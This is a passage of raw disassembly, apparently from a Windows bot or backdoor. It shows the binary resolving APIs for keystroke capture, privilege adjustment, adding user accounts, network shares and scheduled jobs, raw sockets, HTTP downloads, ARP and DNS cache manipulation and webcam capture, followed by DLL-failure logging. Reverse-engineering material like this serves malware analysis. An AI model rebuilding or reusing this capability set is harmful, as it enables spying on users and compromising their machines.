short loc_408053 cmp ds:dword_436518, ebx jz short loc_408053 cmp ds:dword_436438, ebx jz short loc_408053 cmp ds:dword_436458, ebx jz short loc_408053 cmp ds:dword_4364BC, ebx jz short loc_408053 cmp eax, ebx jnz short loc_40805D loc_408053: ; CODE XREF: sub_407E65+1B8j ; sub_407E65+1C0j ... mov ds:dword_436530, 1 loc_40805D: ; CODE XREF: sub_407E65+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; sub_4DB076 push offset aGetkeystate ; "GetKeyState" push edi mov ds:dword_436434, eax call esi ; sub_4DB076 push offset aGetwindowtexta ; "GetWindowTextA" push edi mov ds:dword_436348, eax call esi ; sub_4DB076 push offset aGetforegroundw ; "GetForegroundWindow" push edi mov ds:dword_436404, eax call esi ; sub_4DB076 cmp ds:dword_436434, ebx mov ds:dword_4363F0, eax jz short loc_4080BA cmp ds:dword_436348, ebx jz short loc_4080BA cmp ds:dword_436404, ebx jz short loc_4080BA cmp eax, ebx jnz short loc_4080C4 jmp short loc_4080BA ; --------------------------------------------------------------------------- loc_4080AF: ; CODE XREF: sub_407E65+144j call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_436534, eax loc_4080BA: ; CODE XREF: sub_407E65+232j ; sub_407E65+23Aj ... mov ds:dword_436530, 1 loc_4080C4: ; CODE XREF: sub_407E65+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; sub_4DAF8C mov edi, eax cmp edi, ebx jz loc_40825F push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; sub_4DB076 push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_4364D8, eax call esi ; sub_4DB076 push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_43641C, eax call esi ; sub_4DB076 push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_43648C, eax call esi ; sub_4DB076 push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_436374, eax call esi ; sub_4DB076 push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_4363D4, eax call esi ; sub_4DB076 cmp ds:dword_4364D8, ebx mov ds:dword_436444, eax jz short loc_40814F cmp ds:dword_43641C, ebx jz short loc_40814F cmp ds:dword_43648C, ebx jz short loc_40814F cmp ds:dword_436374, ebx jz short loc_40814F cmp ds:dword_4363D4, ebx jz short loc_40814F cmp eax, ebx jnz short loc_408159 loc_40814F: ; CODE XREF: sub_407E65+2C4j ; sub_407E65+2CCj ... mov ds:dword_436538, 1 loc_408159: ; CODE XREF: sub_407E65+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; sub_4DB076 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_43644C, eax call esi ; sub_4DB076 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_436424, eax call esi ; sub_4DB076 cmp ds:dword_43644C, ebx mov ds:dword_4364D4, eax jz short loc_408194 cmp ds:dword_436424, ebx jz short loc_408194 cmp eax, ebx jnz short loc_40819E loc_408194: ; CODE XREF: sub_407E65+321j ; sub_407E65+329j mov ds:dword_436538, 1 loc_40819E: ; CODE XREF: sub_407E65+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; sub_4DB076 push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_43645C, eax call esi ; sub_4DB076 push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_436350, eax call esi ; sub_4DB076 push offset aControlservice ; "ControlService" push edi mov ds:dword_436358, eax call esi ; sub_4DB076 push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_4363B8, eax call esi ; sub_4DB076 push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_4363BC, eax call esi ; sub_4DB076 push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_43636C, eax call esi ; sub_4DB076 push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_436428, eax call esi ; sub_4DB076 cmp ds:dword_43645C, ebx mov ds:dword_43635C, eax jz short loc_408242 cmp ds:dword_436350, ebx jz short loc_408242 cmp ds:dword_436358, ebx jz short loc_408242 cmp ds:dword_4363B8, ebx jz short loc_408242 cmp ds:dword_4363BC, ebx jz short loc_408242 cmp ds:dword_43636C, ebx jz short loc_408242 cmp ds:dword_436428, ebx jz short loc_408242 cmp eax, ebx jnz short loc_40824C loc_408242: ; CODE XREF: sub_407E65+3A7j ; sub_407E65+3AFj ... mov ds:dword_436538, 1 loc_40824C: ; CODE XREF: sub_407E65+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; sub_4DB076 cmp eax, ebx mov ds:dword_436354, eax jnz short loc_408274 jmp short loc_40826A ; --------------------------------------------------------------------------- loc_40825F: ; CODE XREF: sub_407E65+26Aj call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_43653C, eax loc_40826A: ; CODE XREF: sub_407E65+3F8j mov ds:dword_436538, 1 loc_408274: ; CODE XREF: sub_407E65+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; sub_4DAF8C mov edi, eax cmp edi, ebx jz loc_408340 push offset aCreatedca ; "CreateDCA" push edi call esi ; sub_4DB076 push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_436454, eax call esi ; sub_4DB076 push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_4364AC, eax call esi ; sub_4DB076 push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_4364B4, eax call esi ; sub_4DB076 push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_436470, eax call esi ; sub_4DB076 push offset aSelectobject ; "SelectObject" push edi mov ds:dword_436398, eax call esi ; sub_4DB076 push offset aBitblt ; "BitBlt" push edi mov ds:dword_436344, eax call esi ; sub_4DB076 push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_4364B0, eax call esi ; sub_4DB076 push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_436330, eax call esi ; sub_4DB076 cmp ds:dword_436454, ebx mov ds:dword_4363CC, eax jz short loc_40834B cmp ds:dword_4364AC, ebx jz short loc_40834B cmp ds:dword_4364B4, ebx jz short loc_40834B cmp ds:dword_436470, ebx jz short loc_40834B cmp ds:dword_436398, ebx jz short loc_40834B cmp ds:dword_436344, ebx jz short loc_40834B cmp ds:dword_4364B0, ebx jz short loc_40834B cmp ds:dword_436330, ebx jz short loc_40834B cmp eax, ebx jnz short loc_408355 jmp short loc_40834B ; --------------------------------------------------------------------------- loc_408340: ; CODE XREF: sub_407E65+41Aj call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_436544, eax loc_40834B: ; CODE XREF: sub_407E65+49Bj ; sub_407E65+4A3j ... mov ds:dword_436540, 1 loc_408355: ; CODE XREF: sub_407E65+4D7j mov ebp, ds:off_4220C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz loc_408611 push offset aWsastartup ; "WSAStartup" push edi call esi ; sub_4DB076 push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_4363E0, eax call esi ; sub_4DB076 push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_43650C, eax call esi ; sub_4DB076 push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_436384, eax call esi ; sub_4DB076 push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_436360, eax call esi ; sub_4DB076 push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_436414, eax call esi ; sub_4DB076 push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_4363FC, eax call esi ; sub_4DB076 push offset aSocket ; "socket" push edi mov ds:dword_4363C8, eax call esi ; sub_4DB076 push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_4364E8, eax call esi ; sub_4DB076 push offset aConnect ; "connect" push edi mov ds:dword_436504, eax call esi ; sub_4DB076 push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_436410, eax call esi ; sub_4DB076 push offset aInet_addr ; "inet_addr" push edi mov ds:dword_4364F4, eax call esi ; sub_4DB076 push offset aHtons ; "htons" push edi mov ds:dword_4364A8, eax call esi ; sub_4DB076 push offset aHtonl ; "htonl" push edi mov ds:dword_436468, eax call esi ; sub_4DB076 push offset aNtohs ; "ntohs" push edi mov ds:dword_436464, eax call esi ; sub_4DB076 push offset aNtohl ; "ntohl" push edi mov ds:dword_4363A4, eax call esi ; sub_4DB076 push offset aSend ; "send" push edi mov ds:dword_43639C, eax call esi ; sub_4DB076 push offset aSendto ; "sendto" push edi mov ds:dword_4364B8, eax call esi ; sub_4DB076 push offset aRecv ; "recv" push edi mov ds:dword_4364CC, eax call esi ; sub_4DB076 push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_436480, eax call esi ; sub_4DB076 mov ds:dword_436440, eax push offset aBind ; "bind" push edi call esi ; sub_4DB076 push offset aSelect ; "select" push edi mov ds:dword_436494, eax call esi ; sub_4DB076 push offset aListen ; "listen" push edi mov ds:dword_436450, eax call esi ; sub_4DB076 push offset aAccept ; "accept" push edi mov ds:dword_436490, eax call esi ; sub_4DB076 push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_4364FC, eax call esi ; sub_4DB076 push offset aGetsockname ; "getsockname" push edi mov ds:dword_436448, eax call esi ; sub_4DB076 push offset aGethostname ; "gethostname" push edi mov ds:dword_43640C, eax call esi ; sub_4DB076 push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_43647C, eax call esi ; sub_4DB076 push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_4364EC, eax call esi ; sub_4DB076 push offset aGetpeername ; "getpeername" push edi mov ds:dword_436420, eax call esi ; sub_4DB076 push offset aClosesocket ; "closesocket" push edi mov ds:dword_4363C4, eax call esi ; sub_4DB076 cmp ds:dword_4363E0, ebx mov ds:dword_436500, eax jz loc_40861C cmp ds:dword_43650C, ebx jz loc_40861C cmp ds:dword_436384, ebx jz loc_40861C cmp ds:dword_436414, ebx jz loc_40861C cmp ds:dword_4363FC, ebx jz loc_40861C cmp ds:dword_4363C8, ebx jz loc_40861C cmp ds:dword_4364E8, ebx jz loc_40861C cmp ds:dword_436504, ebx jz loc_40861C cmp ds:dword_436410, ebx jz loc_40861C cmp ds:dword_4364F4, ebx jz loc_40861C cmp ds:dword_4364A8, ebx jz loc_40861C cmp ds:dword_436468, ebx jz loc_40861C cmp ds:dword_436464, ebx jz loc_40861C cmp ds:dword_4363A4, ebx jz short loc_40861C cmp ds:dword_4364B8, ebx jz short loc_40861C cmp ds:dword_4364CC, ebx jz short loc_40861C cmp ds:dword_436480, ebx jz short loc_40861C cmp ds:dword_436440, ebx jz short loc_40861C cmp ds:dword_436494, ebx jz short loc_40861C cmp ds:dword_436450, ebx jz short loc_40861C cmp ds:dword_436490, ebx jz short loc_40861C cmp ds:dword_4364FC, ebx jz short loc_40861C cmp ds:dword_436448, ebx jz short loc_40861C cmp ds:dword_43640C, ebx jz short loc_40861C cmp ds:dword_43647C, ebx jz short loc_40861C cmp ds:dword_4364EC, ebx jz short loc_40861C cmp ds:dword_436420, ebx jz short loc_40861C cmp eax, ebx jnz short loc_408626 jmp short loc_40861C ; --------------------------------------------------------------------------- loc_408611: ; CODE XREF: sub_407E65+501j call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_43654C, eax loc_40861C: ; CODE XREF: sub_407E65+6A0j ; sub_407E65+6ACj ... mov ds:dword_436548, 1 loc_408626: ; CODE XREF: sub_407E65+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz loc_40872B push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; sub_4DB076 push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_4363AC, eax call esi ; sub_4DB076 push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_436338, eax call esi ; sub_4DB076 push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_436430, eax call esi ; sub_4DB076 push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_4363E4, eax call esi ; sub_4DB076 push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_43643C, eax call esi ; sub_4DB076 push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_436400, eax call esi ; sub_4DB076 push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_436378, eax call esi ; sub_4DB076 push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_436370, eax call esi ; sub_4DB076 push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_436380, eax call esi ; sub_4DB076 cmp ds:dword_4363AC, ebx mov ecx, ds:dword_436400 mov ds:dword_43649C, eax jz short loc_408707 cmp ds:dword_436338, ebx jz short loc_408707 cmp ds:dword_436430, ebx jz short loc_408707 cmp ds:dword_4363E4, ebx jz short loc_408707 cmp ds:dword_43643C, ebx jz short loc_408707 cmp ecx, ebx jz short loc_408707 cmp ds:dword_436378, ebx jz short loc_408707 cmp ds:dword_436370, ebx jz short loc_408707 cmp ds:dword_436380, ebx jz short loc_408707 cmp eax, ebx jnz short loc_408711 loc_408707: ; CODE XREF: sub_407E65+860j ; sub_407E65+868j ... mov ds:dword_436550, 1 loc_408711: ; CODE XREF: sub_407E65+8A0j cmp ecx, ebx jz short loc_408746 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov ds:dword_436418, eax jnz short loc_408746 jmp short loc_408740 ; --------------------------------------------------------------------------- loc_40872B: ; CODE XREF: sub_407E65+7CCj call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_436554, eax mov ds:dword_436550, 1 loc_408740: ; CODE XREF: sub_407E65+8C4j mov ds:dword_436418, ebx loc_408746: ; CODE XREF: sub_407E65+8AEj ; sub_407E65+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz short loc_408790 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; sub_4DB076 push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_4363F4, eax call esi ; sub_4DB076 push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_436520, eax call esi ; sub_4DB076 cmp ds:dword_4363F4, ebx mov ds:dword_43638C, eax jz short loc_40879B cmp ds:dword_436520, ebx jz short loc_40879B cmp eax, ebx jnz short loc_4087A5 jmp short loc_40879B ; --------------------------------------------------------------------------- loc_408790: ; CODE XREF: sub_407E65+8ECj call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_43655C, eax loc_40879B: ; CODE XREF: sub_407E65+91Bj ; sub_407E65+923j ... mov ds:dword_436558, 1 loc_4087A5: ; CODE XREF: sub_407E65+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz loc_40889B push offset aNetshareadd ; "NetShareAdd" push edi call esi ; sub_4DB076 push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_436368, eax call esi ; sub_4DB076 push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_436340, eax call esi ; sub_4DB076 push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_4363B4, eax call esi ; sub_4DB076 push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_4363E8, eax call esi ; sub_4DB076 push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_4364F8, eax call esi ; sub_4DB076 push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_4363A0, eax call esi ; sub_4DB076 push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_43634C, eax call esi ; sub_4DB076 push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_43633C, eax call esi ; sub_4DB076 push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_4363D0, eax call esi ; sub_4DB076 push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_4364C0, eax call esi ; sub_4DB076 cmp ds:dword_436368, ebx mov ds:dword_436478, eax jz short loc_4088A6 cmp ds:dword_436340, ebx jz short loc_4088A6 cmp ds:dword_4363B4, ebx jz short loc_4088A6 cmp ds:dword_4363E8, ebx jz short loc_4088A6 cmp ds:dword_4364F8, ebx jz short loc_4088A6 cmp ds:dword_4363A0, ebx jz short loc_4088A6 cmp ds:dword_43634C, ebx jz short loc_4088A6 cmp ds:dword_43633C, ebx jz short loc_4088A6 cmp ds:dword_4363D0, ebx jz short loc_4088A6 cmp ds:dword_4364C0, ebx jz short loc_4088A6 cmp eax, ebx jnz short loc_4088B0 jmp short loc_4088A6 ; --------------------------------------------------------------------------- loc_40889B: ; CODE XREF: sub_407E65+94Bj call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_436564, eax loc_4088A6: ; CODE XREF: sub_407E65+9E6j ; sub_407E65+9EEj ... mov ds:dword_436560, 1 loc_4088B0: ; CODE XREF: sub_407E65+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz short loc_4088E5 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; sub_4DB076 push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_436390, eax call esi ; sub_4DB076 cmp ds:dword_436390, ebx mov ds:dword_436460, eax jz short loc_4088F0 cmp eax, ebx jnz short loc_4088FA jmp short loc_4088F0 ; --------------------------------------------------------------------------- loc_4088E5: ; CODE XREF: sub_407E65+A56j call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_43656C, eax loc_4088F0: ; CODE XREF: sub_407E65+A78j ; sub_407E65+A7Ej mov ds:dword_436568, 1 loc_4088FA: ; CODE XREF: sub_407E65+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz short loc_40892F push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; sub_4DB076 push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_4364E4, eax call esi ; sub_4DB076 cmp ds:dword_4364E4, ebx mov ds:dword_4364E0, eax jz short loc_40893A cmp eax, ebx jnz short loc_408944 jmp short loc_40893A ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_407E65+AA0j call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_436574, eax loc_40893A: ; CODE XREF: sub_407E65+AC2j ; sub_407E65+AC8j mov ds:dword_436570, 1 loc_408944: ; CODE XREF: sub_407E65+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz short loc_4089A3 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; sub_4DB076 push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov ds:dword_436510, eax call esi ; sub_4DB076 push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_436508, eax call esi ; sub_4DB076 push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_4364D0, eax call esi ; sub_4DB076 cmp ds:dword_436510, ebx mov ds:dword_4363A8, eax jz short loc_4089AE cmp ds:dword_436508, ebx jz short loc_4089AE cmp ds:dword_4364D0, ebx jz short loc_4089AE cmp eax, ebx jnz short loc_4089B8 jmp short loc_4089AE ; --------------------------------------------------------------------------- loc_4089A3: ; CODE XREF: sub_407E65+AEAj call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_43657C, eax loc_4089AE: ; CODE XREF: sub_407E65+B26j ; sub_407E65+B2Ej ... mov ds:dword_436578, 1 loc_4089B8: ; CODE XREF: sub_407E65+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz short loc_4089ED push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; sub_4DB076 push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_4363DC, eax call esi ; sub_4DB076 cmp ds:dword_4363DC, ebx mov ds:dword_4364DC, eax jz short loc_4089F8 cmp eax, ebx jnz short loc_408A02 jmp short loc_4089F8 ; --------------------------------------------------------------------------- loc_4089ED: ; CODE XREF: sub_407E65+B5Ej call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_436584, eax loc_4089F8: ; CODE XREF: sub_407E65+B80j ; sub_407E65+B86j mov ds:dword_436580, 1 loc_408A02: ; CODE XREF: sub_407E65+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz short loc_408A8B push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; sub_4DB076 push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_4364A4, eax call esi ; sub_4DB076 push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_4364F0, eax call esi ; sub_4DB076 push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_43642C, eax call esi ; sub_4DB076 push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_4363EC, eax call esi ; sub_4DB076 push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_436484, eax call esi ; sub_4DB076 cmp ds:dword_4364A4, ebx mov ds:dword_4363F8, eax jz short loc_408A96 cmp ds:dword_4364F0, ebx jz short loc_408A96 cmp ds:dword_43642C, ebx jz short loc_408A96 cmp ds:dword_4363EC, ebx jz short loc_408A96 cmp ds:dword_436484, ebx jz short loc_408A96 cmp eax, ebx jnz short loc_408AA0 jmp short loc_408A96 ; --------------------------------------------------------------------------- loc_408A8B: ; CODE XREF: sub_407E65+BA8j call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_43658C, eax loc_408A96: ; CODE XREF: sub_407E65+BFEj ; sub_407E65+C06j ... mov ds:dword_436588, 1 loc_408AA0: ; CODE XREF: sub_407E65+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; sub_4DAE83 mov edi, eax cmp edi, ebx jz short loc_408AD5 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; sub_4DB076 push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov ds:dword_4363C0, eax call esi ; sub_4DB076 cmp ds:dword_4363C0, ebx mov ds:dword_436498, eax jz short loc_408AE0 cmp eax, ebx jnz short loc_408AEA jmp short loc_408AE0 ; --------------------------------------------------------------------------- loc_408AD5: ; CODE XREF: sub_407E65+C46j call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_436594, eax loc_408AE0: ; CODE XREF: sub_407E65+C68j ; sub_407E65+C6Ej mov ds:dword_436590, 1 loc_408AEA: ; CODE XREF: sub_407E65+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_407E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408AF2 proc near ; CODE XREF: sub_40D2E0+57D3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp ds:dword_436528, esi push edi mov edi, [ebp+arg_8] jz short loc_408B3A push ds:dword_43652C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408B3A: ; CODE XREF: sub_408AF2+1Aj cmp ds:dword_436530, esi jz short loc_408B6E push ds:dword_436534 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408B6E: ; CODE XREF: sub_408AF2+4Ej cmp ds:dword_436538, esi jz short loc_408BA2 push ds:dword_43653C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408BA2: ; CODE XREF: sub_408AF2+82j cmp ds:dword_436540, esi jz short loc_408BD6 push ds:dword_436544 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408BD6: ; CODE XREF: sub_408AF2+B6j cmp ds:dword_436548, esi jz short loc_408C0A push ds:dword_43654C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408C0A: ; CODE XREF: sub_408AF2+EAj cmp ds:dword_436550, esi jz short loc_408C3E push ds:dword_436554 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408C3E: ; CODE XREF: sub_408AF2+11Ej cmp ds:dword_436558, esi jz short loc_408C72 push ds:dword_43655C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408C72: ; CODE XREF: sub_408AF2+152j cmp ds:dword_436560, esi jz short loc_408CA6 push ds:dword_436564 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408CA6: ; CODE XREF: sub_408AF2+186j cmp ds:dword_436568, esi jz short loc_408CDA push ds:dword_43656C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408CDA: ; CODE XREF: sub_408AF2+1BAj cmp ds:dword_436570, esi jz short loc_408D0E push ds:dword_436574 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408D0E: ; CODE XREF: sub_408AF2+1EEj cmp ds:dword_436578, esi jz short loc_408D42 push ds:dword_43657C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408D42: ; CODE XREF: sub_408AF2+222j cmp ds:dword_436580, esi jz short loc_408D76 push ds:dword_436584 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408D76: ; CODE XREF: sub_408AF2+256j cmp ds:dword_436588, esi jz short loc_408DAA push ds:dword_43658C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408DAA: ; CODE XREF: sub_408AF2+28Aj cmp ds:dword_436590, esi jz short loc_408DDE push ds:dword_436594 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_415480 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 20h loc_408DDE: ; CODE XREF: sub_408AF2+2BEj lea eax, [ebp+var_200] push offset unk_428E7C push eax call sub_415480 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_408E0B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_408E0B: ; CODE XREF: sub_408AF2+302j lea eax, [ebp+var_200] push eax call sub_40A5B3 pop ecx pop edi pop esi pop ebx leave retn sub_408AF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E1D proc near ; CODE XREF: sub_40D2E0+C5Ep ; sub_40D2E0+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_408EA8 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_408EA8 cmp [ebp+arg_8], esi jz short loc_408EA8 cmp byte ptr [eax], 0 jz short loc_408EA8 push ebx push edi call sub_42086A mov ebx, eax pop ecx test ebx, ebx jz short loc_408EA3 push [ebp+arg_4] push edi call sub_415A50 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_408E9C sub eax, edi push eax push edi push ebx call sub_416D30 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_415C80 push eax push [ebp+arg_8] push ebx call sub_416F00 push [ebp+arg_4] call sub_415C80 add eax, esi push eax push ebx call sub_415BA0 push ebx push edi call sub_415B90 add esp, 30h mov esi, edi loc_408E9C: ; CODE XREF: sub_408E1D+3Cj push ebx call 